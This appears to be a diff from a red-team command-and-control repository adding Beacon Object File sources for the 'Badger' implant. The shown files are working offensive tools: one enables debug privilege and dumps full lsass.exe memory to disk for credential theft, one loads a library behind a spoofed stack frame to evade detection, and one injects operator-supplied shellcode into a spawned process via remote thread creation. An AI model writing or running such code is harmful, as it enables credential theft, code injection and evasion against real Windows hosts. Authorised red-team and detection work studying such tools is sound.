} MINIDUMP_CALLBACK_INPUT, *PMINIDUMP_CALLBACK_INPUT;
|
||||
|
||||
typedef struct _MINIDUMP_CALLBACK_OUTPUT {
|
||||
union {
|
||||
ULONG ModuleWriteFlags;
|
||||
ULONG ThreadWriteFlags;
|
||||
ULONG SecondaryFlags;
|
||||
struct {
|
||||
ULONG64 MemoryBase;
|
||||
ULONG MemorySize;
|
||||
};
|
||||
struct {
|
||||
BOOL CheckCancel;
|
||||
BOOL Cancel;
|
||||
};
|
||||
HANDLE Handle;
|
||||
struct {
|
||||
MINIDUMP_MEMORY_INFO VmRegion;
|
||||
BOOL Continue;
|
||||
};
|
||||
struct {
|
||||
HRESULT VmQueryStatus;
|
||||
MINIDUMP_MEMORY_INFO VmQueryResult;
|
||||
};
|
||||
struct {
|
||||
HRESULT VmReadStatus;
|
||||
ULONG VmReadBytesCompleted;
|
||||
};
|
||||
HRESULT Status;
|
||||
};
|
||||
} MINIDUMP_CALLBACK_OUTPUT, *PMINIDUMP_CALLBACK_OUTPUT;
|
||||
|
||||
typedef BOOL (WINAPI * MINIDUMP_CALLBACK_ROUTINE) (
|
||||
_Inout_ PVOID CallbackParam,
|
||||
_In_ PMINIDUMP_CALLBACK_INPUT CallbackInput,
|
||||
_Inout_ PMINIDUMP_CALLBACK_OUTPUT CallbackOutput
|
||||
);
|
||||
|
||||
typedef struct _MINIDUMP_CALLBACK_INFORMATION {
|
||||
MINIDUMP_CALLBACK_ROUTINE CallbackRoutine;
|
||||
PVOID CallbackParam;
|
||||
} MINIDUMP_CALLBACK_INFORMATION, *PMINIDUMP_CALLBACK_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
PSS_CAPTURE_NONE = 0x00000000,
|
||||
PSS_CAPTURE_VA_CLONE = 0x00000001,
|
||||
PSS_CAPTURE_RESERVED_00000002 = 0x00000002,
|
||||
PSS_CAPTURE_HANDLES = 0x00000004,
|
||||
PSS_CAPTURE_HANDLE_NAME_INFORMATION = 0x00000008,
|
||||
PSS_CAPTURE_HANDLE_BASIC_INFORMATION = 0x00000010,
|
||||
PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION = 0x00000020,
|
||||
PSS_CAPTURE_HANDLE_TRACE = 0x00000040,
|
||||
PSS_CAPTURE_THREADS = 0x00000080,
|
||||
PSS_CAPTURE_THREAD_CONTEXT = 0x00000100,
|
||||
PSS_CAPTURE_THREAD_CONTEXT_EXTENDED = 0x00000200,
|
||||
PSS_CAPTURE_RESERVED_00000400 = 0x00000400,
|
||||
PSS_CAPTURE_VA_SPACE = 0x00000800,
|
||||
PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION = 0x00001000,
|
||||
PSS_CAPTURE_IPT_TRACE = 0x00002000,
|
||||
PSS_CREATE_BREAKAWAY_OPTIONAL = 0x04000000,
|
||||
PSS_CREATE_BREAKAWAY = 0x08000000,
|
||||
PSS_CREATE_FORCE_BREAKAWAY = 0x10000000,
|
||||
PSS_CREATE_USE_VM_ALLOCATIONS = 0x20000000,
|
||||
PSS_CREATE_MEASURE_PERFORMANCE = 0x40000000,
|
||||
PSS_CREATE_RELEASE_SECTION = 0x80000000
|
||||
} PSS_CAPTURE_FLAGS;
|
||||
|
||||
WINADVAPI WINAPI NTSTATUS Ntdll$NtGetNextProcess(_In_ HANDLE, _In_ ACCESS_MASK, _In_ ULONG, _In_ ULONG, _Out_ PHANDLE);
|
||||
WINADVAPI WINAPI BOOL Advapi32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
|
||||
WINADVAPI WINAPI BOOL Advapi32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD);
|
||||
WINADVAPI WINAPI BOOL Advapi32$LookupPrivilegeValueA(LPCSTR, LPCSTR, PLUID);
|
||||
WINADVAPI WINAPI BOOL Kernel32$CloseHandle(HANDLE);
|
||||
WINADVAPI WINAPI DWORD Psapi$GetModuleFileNameExA(HANDLE, HMODULE, LPSTR, DWORD);
|
||||
WINADVAPI WINAPI DWORD Kernel32$GetProcessId(HANDLE);
|
||||
WINADVAPI WINAPI DWORD Kernel32$GetLastError();
|
||||
WINADVAPI WINAPI DWORD Kernel32$PssCaptureSnapshot(HANDLE ProcessHandle, PSS_CAPTURE_FLAGS CaptureFlags, DWORD ThreadContextFlags, HPSS* SnapshotHandle);
|
||||
WINADVAPI WINAPI HANDLE Kernel32$CreateFileW(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||
WINADVAPI WINAPI DWORD Kernel32$PssFreeSnapshot(HANDLE ProcessHandle, HPSS SnapshotHandle);
|
||||
WINADVAPI WINAPI char *Msvcrt$strstr(const char *s1, const char *s2);
|
||||
WINADVAPI WINAPI BOOL Dbghelp$MiniDumpWriteDump(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, ULONG_PTR, PVOID ExceptionParam, PVOID UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
|
||||
|
||||
BOOL CALLBACK Ex_MiniDumpWriteDumpCallback(PVOID CallbackParam, const PMINIDUMP_CALLBACK_INPUT CallbackInput, PMINIDUMP_CALLBACK_OUTPUT CallbackOutput) {
|
||||
switch (CallbackInput->CallbackType) {
|
||||
case 16:
|
||||
CallbackOutput->Status = S_FALSE;
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL task_adjusttoken() {
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES tp;
|
||||
if (Advapi32$OpenProcessToken((HANDLE)-1, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
if (Advapi32$LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
if (Advapi32$AdjustTokenPrivileges(hToken, 0, &tp, sizeof(tp), NULL, NULL)) {
|
||||
Kernel32$CloseHandle(hToken);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
Kernel32$CloseHandle(hToken);
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
WCHAR* path2dump = L"C:\\Windows\\System32\\MEMORY.DMP";
|
||||
HPSS SSHHandle = NULL;
|
||||
HMODULE ntdll_dll = NULL;
|
||||
HANDLE currprocHandle = NULL;
|
||||
HANDLE hProcess = NULL;
|
||||
DWORD l_pid = 0;
|
||||
|
||||
if (!task_adjusttoken()) {
|
||||
BadgerDispatchW(dispatch, L"[-] E: Debug privilege\n");
|
||||
return;
|
||||
}
|
||||
|
||||
CHAR buf[MAX_PATH];
|
||||
while (Ntdll$NtGetNextProcess(currprocHandle, MAXIMUM_ALLOWED, 0, 0, &currprocHandle) == 0) {
|
||||
for (int i = 0; i < MAX_PATH; i++) {
|
||||
buf[i] = 0;
|
||||
}
|
||||
Psapi$GetModuleFileNameExA(currprocHandle, 0, buf, MAX_PATH);
|
||||
if (Msvcrt$strstr(buf, "lsass.exe")) {
|
||||
hProcess = currprocHandle;
|
||||
l_pid = Kernel32$GetProcessId(hProcess);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (hProcess == NULL || l_pid == 0) {
|
||||
BadgerDispatchW(dispatch, L"[-] E: lsass handle\n");
|
||||
return;
|
||||
}
|
||||
BadgerDispatchW(dispatch, L"[+] Lsass: %lu\n", l_pid);
|
||||
|
||||
PSS_CAPTURE_FLAGS SSH_Flags = (PSS_CAPTURE_FLAGS) (PSS_CAPTURE_VA_CLONE
|
||||
| PSS_CAPTURE_HANDLES
|
||||
| PSS_CAPTURE_HANDLE_NAME_INFORMATION
|
||||
| PSS_CAPTURE_HANDLE_BASIC_INFORMATION
|
||||
| PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION
|
||||
| PSS_CAPTURE_HANDLE_TRACE
|
||||
| PSS_CAPTURE_THREADS
|
||||
| PSS_CAPTURE_THREAD_CONTEXT
|
||||
| PSS_CAPTURE_THREAD_CONTEXT_EXTENDED
|
||||
| PSS_CREATE_BREAKAWAY
|
||||
| PSS_CREATE_BREAKAWAY_OPTIONAL
|
||||
| PSS_CREATE_USE_VM_ALLOCATIONS
|
||||
| PSS_CREATE_RELEASE_SECTION);
|
||||
|
||||
DWORD checkstat = Kernel32$PssCaptureSnapshot(hProcess, SSH_Flags, CONTEXT_ALL, (HPSS*) &SSHHandle);
|
||||
if (checkstat != ERROR_SUCCESS) {
|
||||
BadgerDispatchW(dispatch, L"[-] E: %lx\n", Kernel32$GetLastError());
|
||||
Kernel32$CloseHandle(hProcess);
|
||||
return;
|
||||
}
|
||||
BadgerDispatchW(dispatch, L"[+] Snapshot captured\n");
|
||||
|
||||
MINIDUMP_CALLBACK_INFORMATION CallbackInfo = { 0 };
|
||||
CallbackInfo.CallbackRoutine = Ex_MiniDumpWriteDumpCallback;
|
||||
|
||||
HANDLE hFile = Kernel32$CreateFileW(path2dump, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
BadgerDispatchW(dispatch, L"[-] E: %lu\n", Kernel32$GetLastError());
|
||||
Kernel32$CloseHandle(hProcess);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!Dbghelp$MiniDumpWriteDump(SSHHandle, l_pid, hFile, MiniDumpWithFullMemory, NULL, NULL, &CallbackInfo)) {
|
||||
BadgerDispatchW(dispatch, L"[-] E: %lx\n", Kernel32$GetLastError());
|
||||
} else {
|
||||
BadgerDispatchW(dispatch, L"[+] Memory dumped to %ls\n", path2dump);
|
||||
}
|
||||
Kernel32$PssFreeSnapshot((HANDLE)-1, SSHHandle);
|
||||
Kernel32$CloseHandle(hProcess);
|
||||
Kernel32$CloseHandle(hFile);
|
||||
|
||||
return;
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
WINADVAPI HMODULE WINAPI Kernel32$LoadLibraryA(LPSTR lpBuffer);
|
||||
WINADVAPI DWORD WINAPI Kernel32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
if (argc > 0) {
|
||||
HMODULE hModule = (HMODULE) BadgerSpoofStackFrame((UINT_PTR) Kernel32$LoadLibraryA, (UINT_PTR)1, (UINT_PTR)argv[0]);
|
||||
BadgerSpoofStackFrame((UINT_PTR) Kernel32$WaitForSingleObject, 2, (UINT_PTR)-1, (UINT_PTR)(60* 1000));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
// NOTE: THIS IS A QUICK SAMPLE OF USING CUSTOM INJECTION
|
||||
// TECHNIQUES WITH BOFS. OPERATORS CAN WRITE THEIR OWN
|
||||
// INJECTION TECHNIQUES HERE IN C AND FILE ARGS CAN BE
|
||||
// PROVIDED TO THIS CODE USING THE 'SET_COFFARGS' COMMAND
|
||||
// THIS EXAMPLE SPAWNS NOTEPAD AND INJECTS A SHELLCODE
|
||||
// INTO THE PROCESS USING THIS BOF. THE SHELLCODE FILE IS
|
||||
// PROVIDED TO THE BOF USING THE 'SET_COFFARGS' COMMAND
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
// the arguments set using the 'set_coffargs' will always be passed on as the
|
||||
// first arguments to the coffexec commands. the manually passed arguments
|
||||
// in the console will be passed on as subsequent commands
|
||||
|
||||
WINADVAPI WINAPI BOOL Kernel32$CreateProcessA(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||
WINADVAPI WINAPI LPVOID Kernel32$VirtualAllocEx(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
|
||||
WINADVAPI WINAPI BOOL Kernel32$WriteProcessMemory(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
|
||||
WINADVAPI WINAPI BOOL Kernel32$VirtualProtectEx(HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
WINADVAPI WINAPI HANDLE Kernel32$CreateRemoteThread(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
STARTUPINFOA sinfo = { 0 };
|
||||
sinfo.cb = sizeof(STARTUPINFOA);
|
||||
PROCESS_INFORMATION pinfo = { 0 };
|
||||
SIZE_T bytesWritten = 0;
|
||||
LPVOID addressPointer = 0;
|
||||
DWORD flOldProtect = 0;
|
||||
DWORD threadID = 0;
|
||||
|
||||
if (argc == 2) {
|
||||
if (Kernel32$CreateProcessA(NULL, argv[1], NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &sinfo, &pinfo)) {
|
||||
BadgerDispatch(dispatch, "[+] Process Created: %lu\n", pinfo.dwProcessId);
|
||||
ULONG bufferSize = BadgerGetBufferSize(argv[0]);
|
||||
BadgerDispatch(dispatch, "[+] Buffer Size: %llu\n", bufferSize);
|
||||
addressPointer = Kernel32$VirtualAllocEx(pinfo.hProcess, NULL, bufferSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if (addressPointer) {
|
||||
BadgerDispatch(dispatch, "[+] Shellcode RX: %p\n", addressPointer);
|
||||
if (Kernel32$WriteProcessMemory(pinfo.hProcess, addressPointer, argv[0], bufferSize, &bytesWritten)) {
|
||||
BadgerDispatch(dispatch, "[+] Bytes written: %lu\n", bytesWritten);
|
||||
if (Kernel32$VirtualProtectEx(pinfo.hProcess, addressPointer, bufferSize, PAGE_EXECUTE_READ, &flOldProtect)) {
|
||||
HANDLE hThread = Kernel32$CreateRemoteThread(pinfo.hProcess, NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, &threadID);
|
||||
if (hThread) {
|
||||
BadgerDispatch(dispatch, "[+] Thread Created: %lu\n", threadID);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
BadgerDispatch(dispatch, "[+] Need 2 arguments:\n1. shellcode bin file\n2. process2inject\n");
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 40 KiB |
Reference in New Issue
Block a user